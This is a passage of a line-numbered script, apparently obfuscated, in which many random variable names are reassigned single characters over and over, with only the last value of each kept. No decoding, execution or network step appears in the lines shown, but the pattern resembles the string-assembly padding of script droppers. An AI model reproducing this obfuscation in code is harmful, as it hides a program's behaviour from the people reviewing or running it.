265	yjrfx = "W";
266	yjrfx = "O";
267	yjrfx = "z";
268	yjrfx = "D";
269	yjrfx = "t";
270	yjrfx = "F";
271	yjrfx = "t";
272	yjrfx = "p";
273	yjrfx = "L";
274	yjrfx = "g";
275	yjrfx = "A";
276	yjrfx = "p";
277	yjrfx = "Q";
278	yjrfx = "i";
279	yjrfx = "y";
280	yjrfx = "z";
281	yjrfx = "Z";
282	yjrfx = "u";
283	yjrfx = "W";
284	yjrfx = "x";
285	yjrfx = "z";
286	yjrfx = "W";
287	yjrfx = "N";
288	yjrfx = "A";
289	yjrfx = "w";
290	yjrfx = "s";
291	yjrfx = "s";
292	njsxgn = "A";
293	njsxgn = "b";
294	njsxgn = "z";
295	njsxgn = "g";
296	njsxgn = "e";
297	njsxgn = "N";
298	njsxgn = "A";
299	njsxgn = "r";
300	njsxgn = "M";
301	njsxgn = "d";
302	njsxgn = "T";
303	njsxgn = "F";
304	njsxgn = "D";
305	njsxgn = "Q";
306	njsxgn = "q";
307	njsxgn = "@";
308	vrwkkm = "x";
309	vrwkkm = "c";
310	vrwkkm = "w";
311	vrwkkm = "W";
312	vrwkkm = "h";
313	vrwkkm = "g";
314	vrwkkm = "y";
315	vrwkkm = "z";
316	vrwkkm = "e";
317	vrwkkm = "T";
318	vrwkkm = "l";
319	vrwkkm = "Q";
320	vrwkkm = "T";
321	vrwkkm = "Y";
322	vrwkkm = "c";
323	vrwkkm = "u";
324	vrwkkm = "4";
325	nbxikrzas = "u";
326	nbxikrzas = "d";
327	nbxikrzas = "m";
328	nbxikrzas = "d";
329	nbxikrzas = "O";
330	nbxikrzas = "D";
331	nbxikrzas = "f";
332	nbxikrzas = "V";
333	nbxikrzas = "B";
334	nbxikrzas = "Q";
335	nbxikrzas = "k";
336	nbxikrzas = "t";
337	nbxikrzas = "n";
338	nbxikrzas = "w";
339	nbxikrzas = "L";
340	nbxikrzas = "x";
341	nbxikrzas = "J";
342	nbxikrzas = "b";
343	nbxikrzas = "n";
344	nbxikrzas = "h";
345	nbxikrzas = "P";
346	nbxikrzas = "v";
347	nbxikrzas = "x";
348	nbxikrzas = "L";
349	yldvhs = "y";
350	yldvhs = "o";
351	yldvhs = "q";
352	yldvhs = "q";
353	yldvhs = "D";
354	yldvhs = "g";
355	yldvhs = "S";
356	yldvhs = "y";
357	yldvhs = "C";
358	yldvhs = "z";
359	yldvhs = "h";
360	yldvhs = "x";
361	yldvhs = "T";
362	yldvhs = "J";
363	yldvhs = "r";
364	yldvhs = "b";
365	yldvhs = "O";
366	yldvhs = "j";
367	zspjwouc = "o";
368	zspjwouc = "L";
369	zspjwouc = "X";
370	zspjwouc = "J";
371	zspjwouc = "s";
372	zspjwouc = "G";
373	zspjwouc = "E";
374	zspjwouc = "o";
375	zspjwouc = "J";
376	zspjwouc = "I";
377	zspjwouc = "k";
378	zspjwouc = "F";
379	zspjwouc = "Y";
380	rgdfzvzf = "H";
381	rgdfzvzf = "a";
382	rgdfzvzf = "N";
383	rgdfzvzf = "k";
384	rgdfzvzf = "X";
385	rgdfzvzf = "B";
386	rgdfzvzf = "A";
387	rgdfzvzf = "T";
388	rgdfzvzf = "R";
389	rgdfzvzf = "u";
390	rgdfzvzf = "r";
391	teopb = "E";
392	teopb = "Q";
393	teopb = "h";
394	teopb = "l";
395	teopb = "c";
396	teopb = "K";
397	teopb = "n";
398	teopb = "C";
399	teopb = "U";
400	teopb = "o";
401	teopb = "R";
402	teopb = "M";
403	teopb = "A";
404	teopb = "F";
405	teopb = "V";
406	teopb = "e";
407	teopb = "H";
408	teopb = "U";
409	teopb = "j";
410	teopb = "V";
411	teopb = "Y";
412	teopb = "A";
413	teopb = "G";
414	teopb = "r";
415	teopb = "K";
416	teopb = "U";
417	teopb = "e";
418	teopb = "R";
419	teopb = "q";
420	teopb = "W";
421	teopb = "c";
422	teopb = "C";
423	teopb = "W";
424	teopb = "h";
425	teopb = "a";
426	teopb = "H";
427	teopb = "T";
428	xmnxowp = "h";
429	xmnxowp = "b";
430	xmnxowp = "W";
431	xmnxowp = "W";
432	xmnxowp = "X";
433	xmnxowp = "n";
434	xmnxowp = "i";
435	xmnxowp = "E";
436	xmnxowp = "l";
437	xmnxowp = "U";
438	xmnxowp = "f";
439	xmnxowp = "X";
440	xmnxowp = "P";
441	xmnxowp = "q";
442	xmnxowp = "I";
443	xmnxowp = "M";
444	xmnxowp = "R";
445	xmnxowp = "F";
446	xmnxowp = "O";
447	xmnxowp = "L";
448	xmnxowp = "O";
449	xmnxowp = "E";
450	xmnxowp = "S";
451	xmnxowp = "h";
452	xmnxowp = "d";
453	xmnxowp = "f";
454	xmnxowp = "e";
455	xmnxowp = "L";
456	xmnxowp = "U";
457	xmnxowp = "M";
458	xmnxowp = "L";
459	xmnxowp = "K";
460	xmnxowp = "s";
461	xmnxowp = "p";
462	xmnxowp = "D";
463	xmnxowp = "z";
464	xmnxowp = "u";
465	xmnxowp = "l";
466	xmnxowp = "r";
467	xmnxowp = "z";
468	xmnxowp = "X";
469	xmnxowp = "a";
470	uwkuddty = "n";
471	bxhypur = "j";
472	bxhypur = "q";
473	bxhypur = "i";
474	bxhypur = "l";
475	bxhypur = "D";
476	bxhypur = "A";
477	bxhypur = "N";
478	bxhypur = "D";
479	bxhypur = "b";
480	bxhypur = "k";
481	bxhypur = "A";
482	bxhypur = "u";
483	bxhypur = "k";
484	bxhypur = "Z";
485	bxhypur = "I";
486	bxhypur = "Q";
487	bxhypur = "S";
488	bxhypur = "f";
489	bxhypur = "r";
490	bxhypur = "m";
491	bxhypur = "s";
492	bxhypur = "h";
493	bxhypur = "j";
494	bxhypur = "y";
495	bxhypur = "Z";
496	bxhypur = "A";
497	bxhypur = "c";
498	bxhypur = "Q";
499	bxhypur = "E";
500	bxhypur = "I";
501	bxhypur = "c";
502	bxhypur = "S";
503	bxhypur = "E";
504	bxhypur = "C";
505	bxhypur = "R";
506	bxhypur = "l";
507	bxhypur = "R";
508	bxhypur = "C";
509	bxhypur = "U";
510	iyszqr = "w";
511	iyszqr = "T";
512	iyszqr = "m";
513	iyszqr = "P";
514	iyszqr = "A";
515	iyszqr = "F";
516	iyszqr = "V";
517	iyszqr = "D";
518	iyszqr = "L";
519	iyszqr = "A";
520	iyszqr = "P";
521	iyszqr = "O";
522	iyszqr = "U";
523	iyszqr = "f";
524	iyszqr = "n";
525	iyszqr = "y";
526	iyszqr = "Q";
527	iyszqr = "x";
528	iyszqr = "a";
529	iyszqr = "w";
530	iyszqr = "I";
531	iyszqr = "u";
532	fxxug = "e";
533	fxxug = "h";
534	fxxug = "p";
535	fxxug = "U";
536	fxxug = "N";
537	fxxug = "v";
538	fxxug = "W";
539	fxxug = "5";
540	rhgyn = "k";
541	rhgyn = "f";
542	rhgyn = "N";
543	rhgyn = "l";
544	rhgyn = "W";
545	rwkfgg = "j";
546	rwkfgg = "K";
547	rwkfgg = "H";
548	rwkfgg = "Q";
549	rwkfgg = "E";
550	rwkfgg = "a";
551	rwkfgg = "u";
552	rwkfgg = "F";
553	rwkfgg = "a";
554	rwkfgg = "z";
555	rwkfgg = "B";
556	rwkfgg = "X";
557	rwkfgg = "y";
558	rwkfgg = "d";
559	rwkfgg = "W";
560	rwkfgg = "i";
561	rwkfgg = "C";
562	rwkfgg = "X";
563	rwkfgg = "g";
564	rwkfgg = "N";
565	rwkfgg = "u";
566	rwkfgg = "m";
567	rwkfgg = "P";
568	rwkfgg = "c";
569	rwkfgg = "i";
570	rwkfgg = "E";
571	rwkfgg = "x";
572	yezczuo = "P";
573	yezczuo = "S";
574	yezczuo = "c";
575	yezczuo = "b";
576	yezczuo = "D";
577	yezczuo = "K";
578	yezczuo = "s";
579	yezczuo = "P";
580	yezczuo = "k";
581	yezczuo = "b";
582	oeiwwtajq = "u";
583	oeiwwtajq = "a";
584	oeiwwtajq = "Z";
585	oeiwwtajq = "b";
586	oeiwwtajq = "P";
587	oeiwwtajq = "w";
588	oeiwwtajq = "A";
589	oeiwwtajq = "q";
590	oeiwwtajq = "y";
591	oeiwwtajq = "H";
592	oeiwwtajq = "v";
593	oeiwwtajq = "O";
594	oeiwwtajq = "F";
595	oeiwwtajq = "V";
596	oeiwwtajq = "Z";
597	oeiwwtajq = "W";
598	oeiwwtajq = "C";
599	oeiwwtajq = "z";
600	oeiwwtajq = "D";
601	oeiwwtajq = "r";
602	oeiwwtajq = "W";
603	oeiwwtajq = "C";
604	oeiwwtajq = "N";
605	oeiwwtajq = "y";
606	oeiwwtajq = "w";
607	oeiwwtajq = "T";
608	oeiwwtajq = "q";
609	oeiwwtajq = "Q";
610	oeiwwtajq = "S";
611	wooklhl = "A";
612	wooklhl = "C";
613	wooklhl = "m";
614	wooklhl = "p";
615	wooklhl = "u";
616	wooklhl = "m";
617	wooklhl = "U";
618	wooklhl = "n";
619	wooklhl = "U";
620	wooklhl = "H";
621	wooklhl = "q";
622	wooklhl = "l";
623	wooklhl = "c";
624	wooklhl = "N";
625	wooklhl = "e";
626	wooklhl = "F";
627	wooklhl = "e";
628	wooklhl = "Y";
629	wooklhl = "v";
630	wooklhl = "v";
631	wooklhl = "V";
632	wooklhl = "y";
633	wooklhl = "v";
634	dvkqghqbs = "e";
635	dvkqghqbs = "H";
636	dvkqghqbs = "H";
637	dvkqghqbs = "R";
638	dvkqghqbs = "d";
639	dvkqghqbs = "Y";
640	dvkqghqbs = "q";
641	dvkqghqbs = "a";
642	dvkqghqbs = "N";
643	dvkqghqbs = "e";
644	dvkqghqbs = "Z";
645	dvkqghqbs = "s";
646	dvkqghqbs = "A";
647	dvkqghqbs = "V";
648	dvkqghqbs = "w";
649	dvkqghqbs = "T";
650	dvkqghqbs = "m";
651	dvkqghqbs = "W";
652	dvkqghqbs = "l";
653	dvkqghqbs = "J";
654	dvkqghqbs = "P";
655	dvkqghqbs = "R";
656	dvkqghqbs = "r";
657	dvkqghqbs = "A";
658	dvkqghqbs = "J";
659	dvkqghqbs = "O";
660	dvkqghqbs = "k";
661	dvkqghqbs = "g";
662	dvkqghqbs = "M";
663	dvkqghqbs = "v";
664	dvkqghqbs = "H";
665	dvkqghqbs = "Q";
666	pkykl = "b";
667	pkykl = "G";
668	pkykl = "B";
669	pkykl = "C";
670	pkykl = "W";
671	pkykl = "f";
672	pkykl = "K";
673	pkykl = "D";
674	pkykl = "K";
675	pkykl = "b";
676	pkykl = "Y";
677	pkykl = "Q";
678	pkykl = "w";
679	pkykl = "n";
680	pkykl = "q";
681	pkykl = "l";
682	pkykl = "E";
683	pkykl = "r";
684	pkykl = "v";
685	pkykl = "m";
686	pkykl = "L";
687	pkykl = "S";
688	pkykl = "R";
689	pkykl = "a";
690	pkykl = "F";
691	pkykl = "S";
692	pkykl = "g";
693	pkykl = "Q";
694	pkykl = "Y";
695	pkykl = "u";
696	pkykl = "D";
697	pkykl = "D";
698	pkykl = "A";
699	pkykl = "i";
700	pkykl = "D";
701	pkykl = "h";
702	pkykl = "a";
703	pkykl = "V";
704	pkykl = "Z";
705	pkykl = "O";
706	pkykl = "r";
707	pkykl = "D";
708	pkykl = "\\";
709	vtfurcfl = "f";
710	vtfurcfl = "B";
711	vtfurcfl = "l";
712	vtfurcfl = "e";
713	vtfurcfl = "w";
714	vtfurcfl = "M";
715	vtfurcfl = "M";
716	vtfurcfl = "O";
717	vtfurcfl = "t";
718	vtfurcfl = "J";
719	vtfurcfl = "W";
720	vtfurcfl = "a";
721	vtfurcfl = "A";
722	vtfurcfl = "c";
723	vtfurcfl = "k";
724	vtfurcfl = "N";
725	vtfurcfl = "B";
726	vtfurcfl = "u";
727	vtfurcfl = "G";
728	vtfurcfl = "O";
729	vtfurcfl = "w";
730	vtfurcfl = "D";
731	vtfurcfl = "S";
732	vtfurcfl = "z";
733	vtfurcfl = "v";
734	vtfurcfl = "t";
735	vtfurcfl = "t";
736	vtfurcfl = "H";
737	vtfurcfl = "E";
738	rfvbkic = "b";
739	rfvbkic = "q";
740	rfvbkic = "r";
741	rfvbkic = "r";
742	rfvbkic = "d";
743	rfvbkic = "q";
744	rfvbkic = "A";
745	rfvbkic = "p";
746	rfvbkic = "s";
747	rfvbkic = "T";
748	rfvbkic = "Z";
749	rfvbkic = "p";
750	rfvbkic = "C";
751	rfvbkic = "T";
752	rfvbkic = "g";
753	rfvbkic = "c";
754	rfvbkic = "R";
755	rfvbkic = "x";
756	rfvbkic = "Y";
757	rfvbkic = "A";
758	rfvbkic = "h";
759	rfvbkic = "f";
760	rfvbkic = "H";
761	rfvbkic = "n";
762	rfvbkic = "M";
763	rfvbkic = "H";
764	rfvbkic = "o";
765	rfvbkic = "m";
766	rfvbkic = "Z";
767	rfvbkic = "u";
768	rfvbkic = "U";
769	rfvbkic = "l";
770	rfvbkic = "g";
771	rfvbkic = "c";
772	rfvbkic = "V";
773	rfvbkic = "U";
774	rfvbkic = "y";
775	rfvbkic = "E";
776	rfvbkic = "M";
777	rfvbkic = "m";
778	jdqsad = "G";
779	jdqsad = "m";
780	jdqsad = "X";
781	jdqsad = "v";
782	jdqsad = "d";
783	jdqsad = "f";
784	jdqsad = "G";
785	jdqsad = "l";
786	jdqsad = "e";
787	jdqsad = "D";
788	jdqsad = "j";
789	jdqsad = "w";
790	jdqsad = "L";
791	jdqsad = "q";
792	jdqsad = "k";
793	jdqsad = "p";
794	jdqsad = "B";
795	jdqsad = "c";
796	jdqsad = "z";
797	jdqsad = "e";
798	jdqsad = "c";
799	jdqsad = "z";
800	jdqsad = "2";
801	jpwke = "p";
802	jpwke = "I";
803	jpwke = "j";
804	jpwke = "N";
805	jpwke = "d";
806	jpwke = "F";
807	jpwke = "f";
808	jpwke = "Y";
809	jpwke = "a";
810	jpwke = "Q";
811	jpwke = "T";
812	jpwke = "E";
813	jpwke = "w";
814	jpwke = "b";
815	jpwke = "7";
816	geumb = "M";
817	geumb = "V";
818	geumb = "z";
819	geumb = "g";
820	geumb = "Z";
821	geumb = "J";
822	geumb = "B";
823	geumb = "D";
824	geumb = "D";
825	geumb = "e";
826	geumb = "L";
827	geumb = "B";
828	geumb = "e";
829	geumb = "N";
830	geumb = "M";
831	geumb = "l";
832	geumb = "R";
833	geumb = "x";
834	geumb = "b";
835	geumb = "j";
836	geumb = "r";
837	geumb = "B";
838	geumb = "q";
839	geumb = "m";
840	geumb = "P";
841	geumb = "G";
842	geumb = "B";
843	geumb = "Q";
844	geumb = "L";
845	geumb = "v";
846	geumb = "T";
847	geumb = "B";
848	geumb = "q";
849	geumb = "J";
850	geumb = "k";
851	geumb = "j";
852	geumb = "c";
853	geumb = "X";
854	geumb = "g";
855	geumb = "C";
856	geumb = "8";
857	qtynscq = "a";
858	qtynscq = "Z";
859	qtynscq = "t";
860	qtynscq = "v";
861	qtynscq = "r";
862	qtynscq = "c";
863	qtynscq = "D";
864	qtynscq = "g";
865	qtynscq = "X";
866	qtynscq = "f";
867	qtynscq = "T";
868	qtynscq = "K";
869	qtynscq = "z";
870	qtynscq = "e";
871	qtynscq = "i";
872	qtynscq = "o";
873	qtynscq = "Z";
874	qtynscq = "q";
875	qtynscq = "S";
876	qtynscq = "t";
877	qtynscq = "M";
878	qtynscq = "c";
879	qtynscq = "R";
880	qtynscq = "Z";
881	qtynscq = "T";
882	qtynscq = "p";
883	qtynscq = "h";
884	qtynscq = "s";
885	qtynscq = "a";
886	qtynscq = "Z";
887	qtynscq = "P";
888	qtynscq = "q";
889	qtynscq = "z";
890	qtynscq = "b";
891	qtynscq = "j";
892	qtynscq = "B";
893	qtynscq = "I";
894	qtynscq = "H";
895	qtynscq = "Z";
896	qtynscq = "s";
897	qtynscq = "R";
898	qtynscq = "G";
899	qtynscq = "e";
900	coymqy = "m";
901	coymqy = "e";
902	coymqy = "A";
903	coymqy = "O";
904	coymqy = "J";
905	coymqy = "E";
906	coymqy = "Y";
907	coymqy = "P";
908	coymqy = "g";
909	coymqy = "S";
910	coymqy = "p";
911	coymqy = "m";
912	coymqy = "c";
913	coymqy = "i";
914	coymqy = "U";
915	coymqy = "e";
916	coymqy = "y";
917	coymqy = "j";
918	coymqy = "A";
919	coymqy = "o";
920	coymqy = "m";
921	coymqy = "A";
922	coymqy = "k";
923	coymqy = "h";
924	coymqy = "E";
925	coymqy = "-";
926	ebtnbk = "e";
927	ebtnbk = "t";
928	ebtnbk = "q";
929	ebtnbk = "c";
930	ebtnbk = "x";
931	ebtnbk = "O";
932	ebtnbk = "w";
933	ebtnbk = "m";
934	ebtnbk = "Y";
935	ebtnbk = "i";
936	ebtnbk = "t";
937	ebtnbk = "q";
938	ebtnbk = "F";
939	ebtnbk = "C";
940	ebtnbk = "i";
941	ebtnbk = "Y";
942	ebtnbk = "j";
943	ebtnbk = "r";
944	ebtnbk = "Y";
945	ebtnbk = "A";
946	ebtnbk = "n";
947	ebtnbk = "O";
948	ebtnbk = "q";
949	ebtnbk = "C";
950	ebtnbk = "j";
951	ebtnbk = "R";
952	ebtnbk = "A";
953	ebtnbk = "H";
954	zekpte = "z";
955	zekpte = "S";
956	zekpte = "B";
957	zekpte = "w";
958	zekpte = "G";
959	zekpte = "A";
960	zekpte = "J";
961	zekpte = "S";
962	zekpte = "u";
963	zekpte = "G";
964	zekpte = "M";
965	zekpte = "C";
966	quoapau = "E";
967	quoapau = "G";
968	quoapau = "U";
969	quoapau = "n";
970	quoapau = "K";
971	quoapau = "h";
972	quoapau = "c";
973	quoapau = "G";
974	quoapau = "Z";
975	quoapau = "f";
976	quoapau = "F";
977	quoapau = "u";
978	quoapau = "d";
979	quoapau = "d";
980	quoapau = "y";
981	quoapau = "e";
982	quoapau = "c";
983	quoapau = "O";
984	mgkrab = "s";
985	mgkrab = "O";
986	mgkrab = "A";
987	mgkrab = "q";
988	mgkrab = "K";
989	mgkrab = "g";
990	mgkrab = "X";
991	mgkrab = "L";
992	mgkrab = "a";
993	mgkrab = "h";
994	mgkrab = "l";
995	mgkrab = "U";
996	mgkrab = "T";
997	mgkrab = "t";
998	mgkrab = "o";
999	mgkrab = "e";
1000	mgkrab = "P";
1001	mgkrab = "C";
1002	mgkrab = "n";
1003	mgkrab = "R";
1004	mgkrab = "I";
1005	jxtyitsq = "w";
1006	jxtyitsq = "i";
1007	jxtyitsq = "t";
1008	nrwedc = "R";
1009	nrwedc = "g";
1010	nrwedc = "m";
1011	nrwedc = "q";
1012	nrwedc = "Z";
1013	nrwedc = "b";
1014	nrwedc = "Q";
1015	nrwedc = "z";
1016	nrwedc = "w";
1017	nrwedc = "U";
1018	nrwedc = "O";
1019	nrwedc = "w";
1020	nrwedc = "K";
1021	nrwedc = "C";
1022	nrwedc = "I";
1023	nrwedc = "B";
1024	nrwedc = "l";
1025	nrwedc = "T";
1026	nrwedc = "N";
1027	nrwedc = "K";
1028	nrwedc = "D";
1029	nrwedc = "t";
1030	nrwedc = "r";
1031	nrwedc = "a";
1032	nrwedc = "I";
1033	nrwedc = "e";
1034	nrwedc = "n";
1035	nrwedc = "X";
1036	nrwedc = "V";
1037	nrwedc = "L";
1038	nrwedc = "l";
1039	nrwedc = "e";
1040	nrwedc = "Z";
1041	nrwedc = "M";
1042	nrwedc = "T";
1043	nrwedc = "L";
1044	nrwedc = "K";
1045	nrwedc = "l";
1046	nrwedc = "g";
1047	urvxfiy = "l";
1048	urvxfiy = "H";
1049	urvxfiy = "J";
1050	urvxfiy = "w";
1051	urvxfiy = "s";
1052	urvxfiy = "A";
1053	urvxfiy = "Z";
1054	urvxfiy = "C";
1055	urvxfiy = "H";
1056	urvxfiy = "Y";
1057	urvxfiy = "V";
1058	urvxfiy = "D";
1059	urvxfiy = "D";
1060	urvxfiy = "t";
1061	urvxfiy = "t";
1062	urvxfiy = "W";
1063	urvxfiy = "C";
1064	urvxfiy = "R";
1065	urvxfiy = "n";
1066	urvxfiy = "9";
1067	jgioydr = "I";
1068	jgioydr = "Z";
1069	jgioydr = "x";
1070	jgioydr = "T";
1071	jgioydr = "P";
1072	jgioydr = "R";
1073	jgioydr = "S";
1074	jgioydr = "E";
1075	jgioydr = "x";
1076	jgioydr = "M";
1077	jgioydr = "z";
1078	jgioydr = "N";
1079	jgioydr = "l";
1080	jgioydr = "H";
1081	jgioydr = "Q";
1082	jgioydr = "a";
1083	jgioydr = "R";
1084	jgioydr = "r";
1085	jgioydr = "Z";
1086	jgioydr = "f";
1087	jgioydr = "v";
1088	jgioydr = "R";
1089	jgioydr = "z";
1090	jgioydr = "q";
1091	jgioydr = "U";
1092	jgioydr = "N";
1093	jgioydr = "c";
1094	kutubdq = "c";
1095	kutubdq = "O";
1096	kutubdq = "V";
1097	kutubdq = "C";
1098	kutubdq = "l";
1099	kutubdq = "S";
1100	kutubdq = "G";
1101	kutubdq = "t";
1102	kutubdq = "z";
1103	kutubdq = "Z";
1104	kutubdq = "j";
1105	kutubdq = "n";
1106	kutubdq = " ";
1107	asccudh = "e";
1108	asccudh = "M";
1109	asccudh = "k";
1110	asccudh = "d";
1111	asccudh = "o";
1112	rmfoeyc = "E";
1113	rmfoeyc = "g";
1114	rmfoeyc = "V";
1115	rmfoeyc = "h";
1116	rmfoeyc = "M";
1117	rmfoeyc = "t";
1118	rmfoeyc = "b";
1119	rmfoeyc = "D";
1120	rmfoeyc = "d";
1121	rmfoeyc = "C";
1122	rmfoeyc = "X";
1123	rmfoeyc = "n";
1124	rmfoeyc = "j";
1125	rmfoeyc = "v";
1126	rmfoeyc = "p";
1127	rmfoeyc = "J";
1128	rmfoeyc = "n";
1129	rmfoeyc = "K";
1130	rmfoeyc = "o";
1131	rmfoeyc = "r";
1132	rmfoeyc = "C";
1133	rmfoeyc = "e";
1134	rmfoeyc = "r";
1135	rmfoeyc = "C";
1136	rmfoeyc = "B";
1137	rmfoeyc = "e";
1138	rmfoeyc = "R";
1139	rmfoeyc = "f";
1140	rmfoeyc = "L";
1141	rmfoeyc = "n";
1142	rmfoeyc = "n";
1143	rmfoeyc = "J";
1144	rmfoeyc = "u";
1145	rmfoeyc = "A";
1146	rmfoeyc = "k";
1147	rmfoeyc = "a";
1148	rmfoeyc = "w";
1149	otpsldzg = "L";
1150	otpsldzg = "Z";
1151	otpsldzg = "N";
1152	otpsldzg = "o";
1153	otpsldzg = "M";
1154	otpsldzg = "C";
1155	otpsldzg = "F";
1156	otpsldzg = "c";
1157	otpsldzg = "p";
1158	otpsldzg = "a";
1159	otpsldzg = "k";
1160	otpsldzg = "j";
1161	otpsldzg = "o";
1162	otpsldzg = "c";
1163	otpsldzg = "P";
1164	otpsldzg = "W";
1165	otpsldzg = "Z";
1166	otpsldzg = "A";
1167	otpsldzg = "l";
1168	otpsldzg = "E";
1169	otpsldzg = "X";
1170	otpsldzg = "L";
1171	otpsldzg = "N";
1172	otpsldzg = "N";
1173	otpsldzg = "V";
1174	otpsldzg = "G";
1175	otpsldzg = "x";
1176	otpsldzg = "B";
1177	otpsldzg = "t";
1178	otpsldzg = "n";
1179	otpsldzg = "t";
1180	otpsldzg = "Y";
1181	otpsldzg = "i";
1182	otpsldzg = "x";
1183	otpsldzg = "R";
1184	otpsldzg = "d";
1185	otpsldzg = "P";
1186	otpsldzg = "F";
1187	nxgsg = "l";
1188	nxgsg = "c";
1189	nxgsg = "M";
1190	nxgsg = "X";
1191	nxgsg = "V";
1192	nxgsg = "G";
1193	nxgsg = "S";
1194	nxgsg = "Z";
1195	nxgsg = "n";
1196	nxgsg = "L";
1197	nxgsg = "C";
1198	nxgsg = "i";
1199	nxgsg = "d";
1200	nxgsg = "Q";
1201	nxgsg = "T";
1202	nxgsg = "i";
1203	nxgsg = "l";
1204	nxgsg = "M";
1205	nxgsg = "H";
1206	nxgsg = "I";
1207	nxgsg = "y";
1208	nxgsg = "h";
1209	nxgsg = "v";
1210	nxgsg = "t";
1211	nxgsg = "z";
1212	nxgsg = "u";
1213	nxgsg = "T";
1214	nxgsg = "K";
1215	nxgsg = "J";
1216	nxgsg = "H";
1217	nxgsg = "Y";
1218	nxgsg = "&";
1219	qoxndigc = "n";
1220	qoxndigc = "x";
1221	qoxndigc = "y";
1222	qoxndigc = "a";
1223	qoxndigc = "k";
1224	qoxndigc = "c";
1225	qoxndigc = "g";
1226	qoxndigc = "k";
1227	sbxkwf = "W";
1228	sbxkwf = "X";
1229	sbxkwf = "X";
1230	sbxkwf = "Y";
1231	sbxkwf = "p";
1232	sbxkwf = "C";
1233	sbxkwf = "T";
1234	sbxkwf = "L";
1235	sbxkwf = "d";
1236	sbxkwf = "c";
1237	sbxkwf = "v";
1238	sbxkwf = "R";
1239	ofbgj = "y";
1240	ofbgj = "i";
1241	ofbgj = "Y";
1242	ofbgj = "P";
1243	ofbgj = "l";
1244	ofbgj = "K";
1245	dooadwt = "i";
1246	dooadwt = "v";
1247	dooadwt = "x";
1248	dooadwt = "I";
1249	dooadwt = "j";
1250	dooadwt = "b";
1251	dooadwt = "j";
1252	dooadwt = "x";
1253	dooadwt = "B";
1254	dooadwt = "N";
1255	dooadwt = "W";
1256	dooadwt = "t";
1257	dooadwt = "y";
1258	dooadwt = "W";
1259	dooadwt = "u";
1260	dooadwt = "q";
1261	dooadwt = "D";
1262	dooadwt = "r";
1263	dooadwt = "f";
1264	dooadwt = "C";
1265	dooadwt = "F";
1266	dooadwt = "n";
1267	dooadwt = "y";
1268	dooadwt = "T";
1269	dooadwt = "r";
1270	dooadwt = "A";
1271	dooadwt = "V";
1272	dooadwt = "w";
1273	dooadwt = "O";
1274	dooadwt = "X";
1275	dooadwt = "T";
1276	dooadwt = "K";
1277	dooadwt = "d";
1278	dooadwt = "C";
1279	dooadwt = "i";
1280	dooadwt = "m";
1281	dooadwt = "o";
1282	dooadwt = "D";
1283	dooadwt = "A";
1284	dooadwt = "X";
1285	dooadwt = "n";
1286	dooadwt = "S";
1287	dooadwt = "d";
1288	irjupuxap = "Y";
1289	irjupuxap = "I";
1290	irjupuxap = "v";
1291	irjupuxap = "s";
1292	irjupuxap = "e";
1293	irjupuxap = "O";
1294	irjupuxap = "R";
1295	irjupuxap = "f";
1296	irjupuxap = "V";
1297	irjupuxap = "l";
1298	irjupuxap = "l";
1299	irjupuxap = "w";
1300	irjupuxap = "u";
1301	irjupuxap = "d";
1302	irjupuxap = "r";
1303	irjupuxap = "G";
1304	irjupuxap = "v";
1305	irjupuxap = "o";
1306	irjupuxap = "I";
1307	irjupuxap = "B";
1308	irjupuxap = "R";
1309	irjupuxap = "S";
1310	irjupuxap = "F";
1311	irjupuxap = "u";
1312	irjupuxap = "h";
1313	ezcpg = "m";
1314	ezcpg = "Z";
1315	ezcpg = "c";
1316	ezcpg = "V";
1317	ezcpg = "K";
1318	ezcpg = "l";
1319	ezcpg = "y";
1320	ezcpg = "z";
1321	ezcpg = "P";
1322	ezcpg = "X";
1323	ezcpg = "L";
1324	ezcpg = "M";
1325	ezcpg = "v";
1326	ezcpg = "V";
1327	ezcpg = "n";
1328	ezcpg = "Q";
1329	ezcpg = "P";
1330	qtfcia = "\"";
1331	mktfdwgh = "l";
1332	mktfdwgh = "O";
1333	mktfdwgh = "W";
1334	mktfdwgh = "x";
1335	mktfdwgh = "x";
1336	mktfdwgh = "z";
1337	mktfdwgh = "C";
1338	mktfdwgh = "h";
1339	mktfdwgh = "P";
1340	mktfdwgh = "O";
1341	mktfdwgh = "g";
1342	mktfdwgh = "D";
1343	mktfdwgh = "A";
1344	mktfdwgh = "j";
1345	mktfdwgh = "s";
1346	mktfdwgh = "V";
1347	mktfdwgh = "R";
1348	mktfdwgh = "G";
1349	mktfdwgh = "f";
1350	mktfdwgh = "S";
1351	mktfdwgh = "I";
1352	mktfdwgh = "S";
1353	mktfdwgh = "I";
1354	mktfdwgh = "d";
1355	mktfdwgh = "r";
1356	mktfdwgh = "x";
1357	mktfdwgh = "P";
1358	mktfdwgh = "y";
1359	mktfdwgh = "g";
1360	mktfdwgh = "N";
1361	mktfdwgh = "/";
1362	vvugigm = "Z";
1363	vvugigm = "i";
1364	vvugigm = "D";
1365	vvugigm = "q";
1366	vvugigm = "X";
1367	vvugigm = "z";
1368	vvugigm = "w";
1369	vvugigm = "c";
1370	vvugigm = "l";
1371	vvugigm = "f";
1372	vvugigm = "j";
1373	vvugigm = "U";
1374	vvugigm = "r";
1375	vvugigm = "f";
1376	vvugigm = "f";
1377	vvugigm = "Z";
1378	vvugigm = "H";
1379	vvugigm = "v";
1380	vvugigm = "D";
1381	vvugigm = "x";
1382	vvugigm = "N";
1383	vvugigm = "X";
1384	vvugigm = "s";
1385	vvugigm = "j";
1386	vvugigm = "I";
1387	vvugigm = "v";
1388	vvugigm = "d";
1389	vvugigm = "y";
1390	vvugigm = "z";
1391	vvugigm = "l";
1392	qxtbt = "y";
1393	qxtbt = "s";
1394	qxtbt = "f";
1395	qxtbt = "P";
1396	qxtbt = "i";
1397	qxtbt = "V";
1398	qxtbt = "v";
1399	qxtbt = "o";
1400	qxtbt = "d";
1401	qxtbt = "Q";
1402	qxtbt = "_";
1403	kncfb = "A";
1404	kncfb = "y";
1405	kncfb = ".";
1406	akamczc = "z";
1407	akamczc = "X";
1408	akamczc = "B";
1409	akamczc = "L";
1410	akamczc = "V";
1411	akamczc = "h";
1412	akamczc = "a";
1413	akamczc = "S";
1414	akamczc = "U";
1415	akamczc = "h";
1416	akamczc = "D";
1417	akamczc = "I";
1418	akamczc = "b";
1419	akamczc = "I";
1420	akamczc = "A";
1421	akamczc = "o";
1422	akamczc = "X";
1423	akamczc = "Z";
1424	akamczc = "E";
1425	akamczc = "s";
1426	akamczc = "j";
1427	akamczc = "Z";
1428	akamczc = "h";
1429	akamczc = "U";
1430	akamczc = "I";
1431	akamczc = "t";
1432	akamczc = "H";
1433	akamczc = "I";
1434	akamczc = "Z";
1435	akamczc = "n";
1436	akamczc = "U";
